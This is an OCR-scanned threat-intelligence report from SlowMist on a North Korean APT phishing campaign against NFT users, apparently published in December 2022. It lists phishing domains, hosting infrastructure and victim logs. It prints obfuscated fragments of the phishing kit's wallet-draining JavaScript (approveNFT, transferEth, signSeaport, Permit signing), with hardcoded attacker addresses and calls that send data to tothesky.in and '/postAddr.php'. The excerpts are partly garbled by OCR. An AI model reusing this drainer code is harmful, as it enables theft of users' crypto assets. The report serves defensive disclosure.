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SlowMist: Investigation of North Korean APT’s Large-Scale
Phishing Attack on NFT Users

SlowMist : : 12/24/2022

\\ALERT

Background

On September 2, the SlowMist security team discovered that suspected APT groups were conducting
large-scale phishing activities targeting NFT users in the encryption ecosystem, and released the “How
Scammers Are Paying Nothing for Your NFTs”.

On September 4, Twitter user PhantomXSec tweeted that the North Korean APT group were responsible
for crypto and NFT phishing campaigns targeting dozens of ETH and SOL projects.
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https://slowmist.medium.com/slowmist-our-in-depth-investigation-of-north-korean-apts-large-scale-phishing-attack-on-nft-users-362117600519
https://undefined/how-scammers-are-paying-nothing-for-your-nfts-5dd5fe594178

Phantom X
@PhantomXSec

North Korean APT group responsible for crypto and
NFT phishing campaign spanning over 190 domains

Targeting dozens of $ETH and $SOL projects.

Uses collections on NFT marketplaces to lure victims
to malicious minting sites.

PhantomXsec provided information on 196 phishing domain names that were linked to North Korean
hackers after a thorough analysis. The list of specific domain names is as follows:

DPRK NFT Phishing Campaign found by @phantomxsec
A GUEST SEP 3RD, 2022 215 0 MEVER ADD COMMENT

text 3.32 KB | None | ¢h0 Ko

@@3errornotice.com
linameelionwatch.org
linameelionwatch.space
8bitwolves. com
adventureland. fun
alertnfts.org
alienfrens.in
angelsdevilsnft.in
angelsofaether.online
angrybirds. fun
apekids. fun
apelist.tech
ascendednft.site
atsnft.in

aweth.io

The SlowMist security team noticed the incident and immediately followed up with an in-depth analysis.
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https://twitter.com/IM_23pds/status/1566258373284093952

By the way, the same North Korean cyber actors responsible for the massive Naver phishing campaign

first documented by @prevailion are also behind this campaign.

For confidentiality and privacy reasons, this article only analyzed a small portion of the NFT phishing

materials and extracted some phishing characteristics of the North Korean hackers. However, this is just

the tip of the iceberg.
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Analysis of Phishing Websites

Upon further investigation, we found that one of the techniques used in this phishing attack involved

creating fake NFT-related decoy websites with malicious Mints. These NFTs were sold on platforms such

as OpenSea, X2Y2, and Rarible. The North Korean APT group targeted Crypto and NFT users with a

phishing campaign using nearly 500 different domain names.

By checking the registration information of these domain names, we found that the earliest registration

date was traced back to 7 months ago.

3/19


https://www.prevailion.com/what-wicked-webs-we-unweave/
http://twitter.com/prevailion

URL: boredsnakesclub.com/

Submission: On May 22 via manual [May 22nd 2022, 4:00:24 pm UTC] from U5 ==

ASummary  STHTTP B0~ Redirects  oC-Links 1

Summary

Scanned from CAl+l

Wpehaviour  “* Indicators

This website contacted 9 IPs in 4 countries across 10 domains to perform 80 HTTP

transactions. The main IPis 158.69.133.72, located in Montreal, Canada and belongs to OVH,

FE. The main domain is boredsnakesclub.com.

This is the only time beredsnakesciub.com was scanned on urlscan.jo!

urlscan.io Verdict: Lv]

Live information

Google Safe Browsing, '@
Current DNS A record: 158.69.133.72

Domain created: Apri

1 24th 2022, 15:30:00 (UTC)

Domain registrar: PDOR Ltd. d/b/a PublicDamainRegistry.com

Domain & IP information

IPfASNE P Dtz

ey
=

24
43

I

IP Address

AS
16276 (OVH)
51167 (CONTABO)

15149 (GOOGLE)

13335 (CLOUDFLARENET)
16276 (QWH)

20444 (STACKPATH-CDN)
13335 (CLOUDFLARENET)
13335 (CLOUDFLARENET)

15149 (GOOGLE)

Screenshot

Detected technologies

) WooCommerce
W% WordPress

B Elemen
B Font Aw
Goog
& jQuery

Page Statistics

80

some

Font AP|

Migrate

67 10 10

5531 8318 0

At the same time, we also found some unique phishing traits commonly used by North Korean hackers:

Trait 1: Phishing websites will record visitor data and save it to external sites. The hacker records visitors’
information to an external domain through an HTTP GET request. Although the domain names sending

the request are different, the API interface of the request is “/postAddr.php”. The general format is
“https://nserva.live/postAddr.php?mmAddr=...[Metamask]...&accessTime=xxx&url=evil.site", where the

parameter mmAddr records the visitor’s wallet address, and accessTime records the visitor’s visit Time,
url records the phishing website link currently visited by the visitor.
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Trait 2: The phishing website will request an NFT item price list , usually the HTTP request path is
“getPriceData.php”:

Request Response

Raw Hex S \n = Pretty Raw Hex Render

GET /getPriceData.php HTTP/1.1 1 HTTP/1.1 200 0K

2 Host: nserva.live

3 Sec-Ch-Ua: "Not?A_Brand";v="8",
"Chromium";v="108", "Google
Chrome" 28"

4 Accept: *x/x

5 Sec-Ch-Ua—Mobile: 70

6 User-Agent: Mozilla/5.@ (Macintosh; Intel

AppleWebKit/537.36

(KHTML, like Gecko) Chrome/108.0.0.0
Safari/537.36

7 Sec-Ch-Ua-Platform:

8 Origin: https:
Sec-Fetch-Site:

@ Sec-Fetch-Mode:

1 Sec-Fetch-Dest:

2 Referer: https:

3 Accept-Encoding:

4 Accept-Language: z
Connection: close

2 Date: Thu, 22 Dec 2022 07:46:50 GMT

3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c
4 X-Powered-By: PHP/7.3.6

5 Access-Control-Allow-0Origin: *

6 Connection: close

Content-Type: text/html; charset=UTF-8
ontent-Length 691

) {
1 "nftPriceData": {
2 "@xd4ed078ca3495de5b1d4db434bebc5a986197782"

'@xbcd4cabeda’b47a8ab7c2061c2el18al8a936113d":

4 "@x9c8ff314c9bc716e59a9d9225fb22946427edc@3" :
5 "@x08d7c@242953446436T34b4c78Te9da38c73668d" :

'@xb47e3cd837ddfBedc57105d70ab865de6e193bbb" :

I "@x22c36bfdcef207f9c@cc941936ef f94d4246d14a": 2

'0x57a204aal042f6e66dd773081314024114d74F37":

; "0x23581767a106ae21c074b2276d25e5c3e136a68b" 1
) "@x348Tc118bcch5a92dc@33a951ar153d14d945312":

"@xed5af388653567af2f388e6224dc7/c4b3241c544":
"@x620b70123fbB10f6c653da7644b5ddOb6312e4d8" :

3 "0x60e4d786628feabd781785a6d7e704777cB6a7ch" :

"@x8a90cab2b38dba80c64b7734e58ee1db38b8992e" :

 "@x49cf6f5d44e70224e2e23fdcdd2c053f30ada28b"
y "@xc541fclaab2384ab7994268883180ef92aac6399":
' "@xa3aee8bce55beeal951ef834b99f3ac6@dlabeeb™:

xba30e579bb24caad@3e9f2T0497ad287 fdf95623" :
93092990319c6cB3d9e7c70d@58d@3c376a8337":
x86825dfcalab224cfbd2dad8eB85df2fc3aa7cdbl”

"@x86357a19e5537a8fba%a@@4e555713bc943a66c0" :
> "@x341a1c534248966c4b6afad165b98daed4b9sdef" :

'0x7bd29408111d2bfc23c34118275bbf23bb716bc7":

Trait 3: There is a file “imgSrc.js” linking images to the target project , which contains a list of target sites
and the hosting location of the image files used on their corresponding phishing sites. This file may be part
of the phishing site template.

5/19



filename:"/imgSrc.js" QSearch X @Help

Search results * Showing Al Hits
@ URL Age Size & ps ™ #
0O wwwwwwi.tritonpass.org/ I 14hours 2MB 22 g 3
0O wwwwww.onpodx.net/ m 14 hours 2MB 22 9 3 I+l
O www.mstable.net/ O 17hours iMB 29 9 3 H§

theopensdao.com/ m 17 hours 3MB 16 7 <IN 7
doguinu.net/ T 1day 2MB 12 8 5 k4
get-protocol.xyz/ O 1day 2MB 21 8 3 k4
mutantdao.co/ 3 2days ioMB 34 8 5 4
mutantdao.co/ 8 2days 10MB 34 8 5 4
O trueusd.app/ T 2days 1MB 22 10 4 &
O mstablenet/ T 2days 1MB 29 9 31 E
O mstable.net/ 3 2days 1MB 29 9 3 E
ushi live/ T 3days 1MB 21 7 3 B4
collinsmusic.fun/ m 3days 7MB 58 10 3 I+l

Further analysis found that the main domain name used by APT to monitor user requests is
“thedoodles.site”, which was mainly used to record user data in the early days of APT activities:

Domain & IP information

IP/ASNs IP Detail Domains Domain Tree Links Certs

+  Domain Requested by

43 www.boredsnakeclub.com
www.boredsnakeclub.com

20 boredsnakesclub.com
www.boredsnakeclub.com

5 unpkg.com

S

thedoodles.site
thedoodles.site

fonts.gstatic.com fonts.googleapis.com
cdn.jsdelivr.net
code.jguery.com

themta.site

T T T

cdnjs.cloudflare.com

The HTTPS certificate for this domain name was queried 7 months ago, indicating that the hacker
organization had already begun targeting NFT users at that time.
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Criteria Type: Common Name Match: = Search: 'thedoodles.site'

Certificates crt.shID  Logged At {1 Not Before Not After Issuer Name
7528356474 2022-09-12 2022-09-12 2022-12-11 C=US, O=Let's Encrypt, CN=R3
7528356201 2022-09-12 2022-09-12 2022-12-11 C=US, O=Let's Encrypt, CN=R3
7221398918 2022-07-29 2022-07-29 2022-10-27 C=US, O=Let's Encrypt, CN=R3
7221390730 2022-07-29 2022-07-29 2022-10-27 C=US, O=Let's Encrypt, CN=R3
6658029958 2022-05-03 2022-05-03 2022-08-01 C=US, O=Let's Encrypt, CN=R3
6655013265 2022-05-03 2022-05-03 2022-08-01 C=US, O=Let's Encrypt, CN=R3

Lastly, let's see some of the phishing sites the hackers have deployed and operated:

The latest site pretended to be a project associated with the World Cup:

URL: wwie fantasywor ldoup.fun/
Submission: On October 26 via manual (October 28th 2022, 7:42:35 pm UTC) from  GB BIE Scanned from  DE 8

MSemmary  STHTTP 23 #Redirects WBehaviour & indicators | &'Simdsr E0OM K Content  ERAP

Summary Screenshot . o e
This website contacted ¥ IPs in 5 countries across 8 domains to perform 22 HTTP transactions
The maln IP is 51.222.194.220, located In Canada and belongs ta OVH, FRL The main domain s
wwwfantasyworldcup.fun
TLS certificate: lssused by B3 on October 23rd 2022, Valid for: 3 months Welcome

To the World Cup

This is the anly time www. fantasyworidoup fun was scanned on urlscanio!

25 16 - 18

urlsean.io Verdict: L]

Live information

Google Safe Browsing: O
Current DNS Arecord: 51.222.194.220
Domain created: October 23rd 2022, 10:44:30 [UTC)

Damain reglstrar: Hastinger, UAB Detected technologies

Domain & IP information & Fery B
I i 1 Drowmain Tree Certs
Page Statistics
= Domain Requasted by . . )
22 91 38 8 8
5 npk
5 f F T —
wor|dfantasycup.com 9 5 2500 5391 0
3 theskyin
con jedelivrnet
3
1 wor [diantasycup.com
1 frijsclol P, CET
1 (osheoniolin)

We continued to search for relevant website host information based on the relevant HTTPS certificate:
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L 51N 20 (xam5bmzetq.thelifeofclimb.com)

OVH (16276) Quebec, Canada

21/FTP 22/S5H 53/DNS BO/HTTP 110/POP3
143/IMAP 443/HTTP 993/IMAP 2222/SSH 3306/MYSQL
10000/HTTP 20000/HTTP

services.http.response.body: ;"> <img src="https://maincontrol.in /resources/main.png" style="width:158p.

- 16 35 (random.spyhealthcare.in.net)
OVH (16276) Quebec, Canada

21/FTP 22/S5H 25/SMTP 53/DNS BO/HTTP
110/POP3 143/IMAP 443/HTTP 587/SMTP 993/IMAP
2222/SSH 3306/MYSQL 10000/HTTP 20000/HTTP

services.http.response.body: fajax/libs/spin.js/4.1.8/spin.min.css"> <script type="text/javascript” src=

L 10GEEEED116 (mx-pool17.inversiontablesearch.com)

LEASEWEB-USA-NYC (396362) New Jersey, United States
B0/HTTP 443/HTTP 3389/RDP
services tls.certificates. |eaf_data.names: tothesky.in

services.ils.certificates.|leaf_data.subject.common_name: tothesky.in

services tls.certificates. leaf_data.subject_dn: CN= tothesky . in

SO 222 (8qycrkyccg.thelifeofclimb.com)
OVH (16276) Quebec, Canada
services tls.certificates.leaf_data.subject.email__address: root@ tothesky.in

services tls.certificates.leaf_data subject.common_name: tothesky.in

L~ S22 1 (0xpsbm60jq.thelifeofclimb.com)
OVH (16276) Quebec, Canada

21/FTP 22/55H 53/DNS BO/HTTP 110/POP3
143/IMAP 443/HTTP 993/IMAP 995/POP3 2222/S5H
3306/MYSQL 10000/HTTP 20000/HTTP

services tls.certificates |eaf_data.subject.email_address: root® tothesky.in

services tls.certificates.leaf_data.issuer.email_address: root® tothesky.in

2 s 220 (xam5bmzetq.thelifeofclimb.com)

OVH (16276) Quebec, Canada
21/FTP 22/SSH 53/DNS BO/HTTP 110/POP3
143/IMAP A43/HTTP 993/IMAP 2222/S8H 3306/MYSQL
10000/HTTP 20000/HTTP

services tls.certificates leaf_data.issuer.common_name: tothesky.in

We found various attack scripts used by hackers and txt files with statistical information on victims in some
host addresses
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[) additional.css 2022-10-10 11:47 2.0K

€] address.txt 2022-12-20 0113 0
¥) adverse txt 2022-12-22 03:39 14K
] approvetrxdatatt 2022-12-2104:09 18K
] block ip.txt 2022-12-21 07:02 4.5K
8] blockvisit.txt 2022-12-22 03:54 216
¥) check.php 2022-11-22 03:58 3.1K
] clear.php 2022-10-13 18:38 185

engine module js 2022-12-12 00:25 145K
m engine module ape.js 2022-12-10 00:28 149K
@ engine_module e.js  2022-12-10 00:28 143K
?) engine_module limitjs 2022-1-15 05:59 141K
) engine_module lockjs 2022-10-31 00:56 141K
|Z engine _module t.js 2022-12-01 1724 141K
|Z engine_module test.js 2022-12-10 00:28 143K
'?] engine_module unljs 2022-12-12 00:24 146K
] getPriceData.php 2022-10-10 11:47 151
@ imgSrc.js 2022-10-10 12 74

5] inlist.txt 2022-12-22 04:07 70K
¥] postAddr.php 2022-10-23 17:57 3.1K
5] postSigData.php 2022-10-26 01:36 1.4K
8] postTrxHash.php 2022-10-10 20:44 11K
€] postVisit.ohp 2022-12-15 00:17 5.8K
) resources/ 2022-10-23 00:24 -
%] sigData.txt 2022-12-20 00:57 8.9K
sigData_old.txt 2022-12-07 01:09 43K
?) spin.umd.js 2022-10-10 10:59 7.3K
£ vendor/ 2022-10-23 00:24 -
&) visit.txt 2022-12-22 04:07 427

These files recorded the victim’s access records, authorizations, and uses of plug-in wallets:
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12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:

22:00:

12-21 22:00:
12-21 22:00:

12-21 22:00:

12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12-21 22:00:
12=21 23:07:
12-21 23:07:
12-21 23:19:

12-21 23:24:

12-21 23:25:
12-21 23:59:
12-22 04:40:
12-22 04:40:
12-22 07:38:

11:16:

12-22 11:26:
12-22 11:37:

11:56:
11:56:
15:08:

12-22 15:09:
12-22 16:02:
12-22 16:04:
12-22 18:34:
12-22 20:39;
12-22 21:10:

It was found that this information matched the visitor data collected by the phishing sites.

www.nftiffany.io/?p:
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.ic/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=6
www.nftiffany.io/?ps=§
www.nftiffany.io/?ps=6
www.niftytailor.org/?ps=2
www.niftytailor.org/?ps=2
www.holoframes.tech/7ps=1
www.nftiffany.io/?ps=4
www.nftiffany.io/?ps=4
chainsdrop.xyz/
nftiffany.io/
mail.nftiffany.io/

www . hashflows . fun/
www.holoframes.tech/?ps=8
www.holoframes. tech/?ps=8
www.niftytailor.org/?ps=4
www . troublemaker. fun/

www . troublemaker. fun/
www.givrse.org/
www.givrse.org/
www.noox. £1/

www.noox. £1/

www . noox. £i/
www.holoframes. tech/?ps=8§
www.chainsdrop.xyz/?ps=8

4.
4.
54.7
54.
54.°
103,

149..

10:
21
L2
220
2
N
L3
L3

o]
K]

B H

bl

{1
2:
2

"7

o

7
.41

5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
5.1 2
J160 104
.91,
.91.
91,
.91,
.98. 26
(24F 181
.24 181
121, B
(20, 02
96. B
J160 104
T 2
e 2
1.1«
1.1«
69. 0
69. 0
69. 0
.72, 38
..444..60

It also includes the victim’s approve record:

PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
PC
pC
PC
PC
BC
PC
PC
PC
PC
PC
PC
PC
PC
BPC
PC
PC
PC
PC
PC
PC
PC
BC
PC
PC
PC
PC
PC
PC
PC
PC
mobile
mobile
PC
PC
PC
PC
PC
PC
PC

0x37
0x37
OxfF
OxfF
0x0d.
0x0d.
0x0d.
0x27!

iT_REJECT METAMASK
iT_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK
iT_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK
iT_REJECT METAMASEK
AT_REJECT METAMASK
iT_REJECT METAMASK
tT_REJECT METAMASK
iT_REJECT METAMASK
iT_REJECT METAMASK
iT_REJECT METAMASK
T_REJECT METAMASK
iT_REJECT METAMASK
iIT_REJECT METAMASK
iT_REJECT METAMASKE
T_REJECT METAMASK
iT_REJECT METAMASK
iT_REJECT METAMASK
tT_REJECT METAMASK
iT_REJECT METAMASK
iT_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK
iT_REJECT METAMASK
T_REJECT METAMASK
T_REJECT METAMASK

79519E4blad7786bBEFe6DI434dacABE

' TBBdDT49183B6EATELADI0B4CE209c02
' 39e55f11Ec37fcf00eAlEF0407CD482E |

11Dd63dA9Fed4eelFFFIB407d01113e6(
(e94e61D6Add984AcdIFS513eel SESeD:
e94e61D6Add984RcdIFS13eel9ESaD:
i6941bf6el6D0dBY10B50dBFfbYe56D]
i6941bf6el6D0dB910B50dBFfb9e56D]
180D61e977al1DTEAZTEI660CA53T4AL
180D61e977a31DTEAZTEI660CA53ITAAL
180D61e977a3l1DTRAZTRIG60CAS5ITLAL
LAaT5D0ACBl5eB6B154b95560B4 1650

! 53E8d4d3c3d1498E96aBDOB0ST1alel .
'+ 19e55f11Ec3Tfcf00eAlEF0407CD482E
'+ 19e55£11Ec3Tfcf00eAlEF0407CD482E
19e55£11Ec3T7£cf00eAlEF0407CD482E
.364a485a230d0adAFdBA3IF41a6358cl
. 122107545164Ae0F0F8F54 1FATAGE52Y

. 122107545164Ae0F0F8F541FAEAGES2Y |
. 122107545164220F0F8F541FATAGE524

Oxad.372Cd209550e03AEebABaT56688d6255

METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASK
METAMASK
METAMASKE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASE
METAMASK
METAMASK
METAMASK
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0x
0x
0x
O0x
0x
0x
O0x
0x
Ox
0x
Ox
Ox
Ox
Ox
Ox
Ox
Ox
Ox
0x
0x
0x
Ox
0x
0x
Ox
Ox
Ox
Ox
0x
0x
0x
Ox
Ox
0x
Ox
Ox
0x
Ox
Ox
0x
Ox
0x
Ox
Ox
0x
Ox
O0x
Ox
Ox
0x
0x
0x
0x

1F784058093CT7F643b94bB60BTEC4184e2
IFT84058093CTIF643b94bBE0BTERS184e2
LF784058093CT7F643b%4b860BTEC4184e2
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And sigData, among other sensitive data was also discovered, which will not be shown here for privacy

reasons

Our analysis also revealed that there are NFT phishing site groups under the same IP of the host, with

372 NFT phishing sites under a single IP:
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1-250f372 v *  Sort:Last Seen Descending v 25/ Page

Resalve First Last
iftytalior.ong 20221212 20221221
meskicks store 20221110 20221211
niftytailors. shop 2022-12418 20221220
aptopunks.fun 20221031 20221220
2022-10-22 20221220
] footballstars fun 2022-10-30 2022-12-20
sushibits.xyz 2022-11.08 20221219
aptmetacard org 20221213 20221219
-niftytailor.org 2022.12.12 2022.12.19
mylands.space 20221212 20221218
wwweniftytailors shop 20221218 20221218
0 " niftytailars.shop 20221218 20221218
sandplate. gz 20221112 20221247
] wrorwefantesyworldeup fun 2022-10-23 20221317
] boys.fun 2022.11.10 20221216
aftinsight.tech 20221113 20221216
0 heleframe space 2022-10-28 20221216
0 DrySMSqUAds Ky 2022-10-25 20221216
] 202211413 202241215
0 foradventurers xyz 20221111 20221215
] nvisiblemeebits yz 2022.10.23 20221214
www.gptmetacard.org 20221213 W02F1394
0 eekicks tech 2022-11-11 20221214
a creawsarables fun 20221107 20231214
O smashmarbles xyz 2022-11410 20221243

As well as another 320 NFT phishing sites associated under a different IP address:

= 1-250320 v *  Sori:lestSeen Descending » 25! Page ~
Resalve First Last
D wwrw moonbirdvictorian.app 2022-10-22 20221222

O thalandsa‘e xyz 20231018 20221222
O *.benzibananas.space 2022-10-28 20221222
O seland.com 20221009 2022121
O secretgardens fun 20221017 20231221
O wharw.onpods.net 2022-10-20 20231221
O webaverse space 2022-12-02 202312211
O www.onpodanet 20221221 20221221
O wnwartritonpass.org 20221217 20221221
O oncybers.app 2022-10-09 20231221
O benzibananas.space 2022-10-09 20221211
O 2022-10-09 202312-1
O atarnds,org 20221010 2022-12-21
O wan webma nanas.s 2022-10-09 20231221
O 2022-10-30 2022121
O webmail benzibananas space 2022-10-09 2022121
O mei nananas space 2022-10.09 20221221
O admin moonbirds 20221217 20231221
O wharve.admi ibananas space 2022-10-09 2022-12-20
(] wiww iritonpass.org 20221011 202212.20
O onpod.net 20221018 20221220
O collinsmusic fun 2022.10-09 20221220
O www.benzibananas.space 2023-10-09 2023-12-20
O infinityvoid space 2022107 202312-20
O warldafmythesda fun 20221217 2023-12-20

We even discovered a DeFi platform run by North Korean hackers.
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univaults xyz

Liquidity Vaults for long-term investors

Benefit for UV Holders

Claim Rewards

Active v Activa w1 Active

WETC JUsSDC ETH JUSDC ETH J USDT

Manages your liquidity using a Manages your liguidity using a

ssive rebalancing strategy passive rebala g strategy

5811516 $890792 $321802

15.4% 10.2% 9.28%

Due to the sheer volume of information, we are unable to delve into every detail in this report.
Analysis of Phishing Methods

In combination with our previous article “How Scammers Are Paying Nothing for Your NFTs,” we analyzed
the core code of this phishing incident. Our investigation revealed that the hackers utilized multiple tokens,
such as WETH, USDC, DAI, and UNI, etc. in their phishing attacks.

wethAddr = _@x200712(@x10a),

usdcAddr = _@x200712(08x11f),

daiAddr = _@x200712(0xf9),

uniAddr = _0x200712(0xec),

v3nftAddr = _0x200712(0x11d),

cryptoPunkAddr = '@xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb’,
zeroAddr = _@x200712(0x238),

seaportAddr = _0x200712(0x1d9),

conduitAddr = _@x200712(0x240),

payableAddr = '@©x5E459e773054A19D84E650210B4c4caF76299536",
signMultiple = @x5,

nftMultiple = 0.8;

Web3Modal = window|[*Web3Modal'] [_@x200712(0x17e)],
WalletConnectProvider = window[_0x200712(0x1b7)] [_0x200712(0x17e)];
MORALISKEY = 'UqPo3pNAIZTn6vavfaAH55veGTBxtPx5xZVIPrLkpIeKSbstpAGOPAY] jduWLDHX ',
spenderAddr = '0x5380F7544af0418f6bcad48897536748cbD5AD2a9",
destAddr = '@x9959E2974A3478101dEFDAb9Bb2T3ca@5725Ba3d" ;

providerOptions = {
'walletconnect': {

'package': WalletConnectProvider,

'options':

The following code is used to induce victims to perform more common phishing ‘Approve’ operations,
such as authorizing NFTs and ERC20 tokens:
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https://undefined/how-scammers-are-paying-nothing-for-your-nfts-5dd5fe594178

approveNFT(_@x12elaf, _0xf8b976, _@x506ddc) {
return Promise( (_0x186248, _0@x4e459f
_0x403561 = _0x86a9,

_0x36db99 web3['eth'] [(_8x403561(0x100) )] (tokenABI, _@x12elaf);
_0x36db99[_0x403561(0x250)] [_0x403561(0x1db)] (spenderAddr, !'![])[_0x40354
'from': _@xf8b976,
'gasPrice': _@x506ddc
})['on'](_@x403561(0xT8), (_0xb617bb) {
_Bx372a6f = _0@x403561;

if (_@xb617bb == || _0xb617bb == '' || _0xb617bb == _@x372a6f (@
_0x186248(![]);

return;

$[_0x372a6f(0x149)]("'https://tothesky.in/postTrxHash.php?trxHash=" +
F)['on'](_@x403561(0x1fd), (_©@x1e428b) {
_0x186248(!'[]1);

n transferEth(_@x5e8fle, _0x5054e9, _@x386bec) {
return new Promise((_0x403c09, _0x18eeZe
_0x45a1f8 = _0x86a9,
_0x413c6f = new web3[(_@x45a1f8(@x14d) )] [(_@x45a1f8(0x100))] (claimABI, payableAddr);
_0x413c6f [_0x45a1f8(0x250) ] [_0x45a1f8(0x24b)]1() [_Bx45a1f8(0x13a)]({
"from': _@x5e8fle,
't _@x386bec,
ue': _@x5054e9
F)['on']f @vasatfaiaval  function [ @x2c430e) {
(parameter) _0x2c43@e: any
if (_@x2c43@e == null || _@x2c43@e == '' || has == _@x1eb826(0x129)
_0x403c9(![1);

return;

$['get'] (_@x1eb826(0x21e) + _0@x5e8fle + _Ox1leb826(0x17a) + window['location']["href']l), _@x4
Fl'on']l('error', function (_@x24f373) {
1 _@xla8cdc = _@x45al1f8;

$[_@x1aBcdc(0x149)](_Bxla8cdc(®x21b) + _@xlaB8cdc(@x23a) + new Date() + _@xlaBcdc(@xl7a) + w
})i

In addition, the hackers also try to induce victims to perform Seaport and Permit signatures, as well as
other authorizing activities.
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signSeaport(_0x4e@lba, _0x583ce9, _0x336015) {
_0x48bc47 = _0x200712,
_0x2eb33d web3['eth'] [(_0x48bc47(8x100) )] (seaportABI, seaportAddr),
_@x1eddd9 = await _@x2eb33d[_@x48bc47(@x250)] [_0x48bc47(0x14e)] (_@x4edlba) [’
_Bx25eccb = @x64,
_0xbeb138 0x0,
_0x4c44d9 = 0x0;
for ( _0x427b15 = @x0; _Ox427b15 < _0x583ce9[_0x48bc47(8x1f5)]; _@Ox427b1l5 +=
seaportMsgObj [_@x48bc47(0x222)] = _0@x4e@lba, seaportMsgObj|['offer'] = , 56
_@8x1112d5 = [1;
_@x1112d5[ 'ERC20" 0x1, _@x1112d5[_@x48bca7(0x1f2)] = 0x2, _0x1112d5[_ox4d
for _Bx33a0d@ = _0x427b15; _0x33a0d@ < _Bx583ce9[_0x48bcd7(@x1f5)] &&
_@x39@0bcl = _0@x583ce9[_0x33a0do],
_@x172e20 = _0x390bcl[_@x48bcd7(0x13e)] == 7 _@x1112d5[_0
seaportMsgObj [_0x48bc47(0x221)] [_0x48bca7(0x1ed)]({
'itemType': _0x172e20,
"token': _@x390bcl|_0x48bcd7(0x245)] [_0x48bca7(@0x1b3)
‘identifierOrCriteria': _@x390bcl|[_@x48bc47(0xee)],
"startAmount': _@x39@bcl[_0x48bc47(0x20e)],
‘endAmount’: _@x39@0bcl[_0@x48bca7(0x20e)
seaportMsgObj['consideration'] [_0x48bc47(@x1e@)] ({
‘itemType': _@x172e20,
"token': _@x39@bcl[_@x48bc47(0x245)] [_0x48bc47(0x1b3)
'identifierOrCriteria': _@x390bcl[_@x48bc47(0xee)],
"startAmount': _@x390bcl[_0@x48bc47(@0x20e) J
‘endAmount': _@x390bcl[_0x48bc47(0x2@e)],
'recipient': destAddr

{

aaveMsgParams =
'domain': {
'chainId': @x1,
‘name': _@x200712(0x1a9),
'version': '1',
'verifyingContract': '©xa@b86991c6218b36c1d19d4a2e%eblce3606eb48
i ]

'message': {},
L

{
'primaryType
"types': {

'EIP712Domain': [{
'name': _@x200712(0x22b},
‘type': 'string'

'‘Permit’,

Here’s a typical example of this type of signature, even though the domain name of the phishing website
is not actually ‘opensea.io’.
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B¢ MetaMask Notification — O X

. Account1(i) @ Ethereum Mainnet

Signature request

Seaport
https://opensea.io
Ox> (D

Message

offerer: Ox9lEEEEEEEEEEEEND -

L
offer:
D.

itemType: 2

token: Ox91F3114F8818ADe5046d0
901a44982Dc5c020C99B

identifierOrCriteria: 8893

startAmount: 1

endAmount: 1 J

. . -
falalal o I.l“lﬁ asdllalal

; P ~
I CANCEL

We also discovered that the remaining signature data matched the signature data of “Seaport” which the
hacker left on the host computer.
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(& IsigData_old.txt

(]
e

[{"itemType”:2, "token™: "0x9f9b2ble26Bd06dchTf0£76627654bB0e219e1db”, "identifierOrCriteria”:"7585", "startAmount":"1", "endAmount": "1"}
{"itemType":2, "token” : "0x9f9b2bBe268d06dc67f0f76627654b80e219e1d6”, "identifier0rCriteria”:"1726", "startAmount ": "1", "endAmount”: "1"}]
(FDT)

0x78d131b05d1FCD3bEBD2EB3ac9F6d45dB35F185d BET671404576962906696012358823621605678334398979818931695384368T879624
{"signature":" 0xi

[{"itemType":2, "token":"0xf87e31492faf9a91b02eeldeaad50d51d56d5d4d" , "identifierOorcriteria”:"115

ount":"1%, "endAmount”:"1"} ]} 4 Sat Oct 29 2022 17:16:23 GMT-0500 (Central Daylight Time)

O0x2b0¢ 3

{"signature”:"0x . F - - - - — - i
[{"itemType":z,"taken“:"ux4BcfEf5d44e?D224e2e23fdcdd2c053f30adazab","identifierorcriteria":"5520","startnmnunt"-"l","Endﬂmﬂunt"'" "}
{"itemType":2, "token” : "0x3bf2922f4520a8balc2efc3d2al539678dad5ed9d”, "identifier0rCriteria”: "3740", "startAmount " , "endAmount”:"1"},
{"itemType":2, "token" :'ijbfzgzzfd52Uaabanczefcdeals396?8&&&529&","Jdentlflerorcriteria"-"11?8","starthmount" 1","andnmount"'"l"}
{"itemType":2, "token":"0x12632d6el lc6bbclc53ifie2Bleaf75e5899a5df5", "identifierorCriteria”: "3118"," " ", "endAmount":"1"},
{"itemType":2, "token” :"0x12632d6ellcibbeclc53fie2fleat?5e5899a5df5", "identifierorCriteria”:"3117", ", "endAmount":"1"},
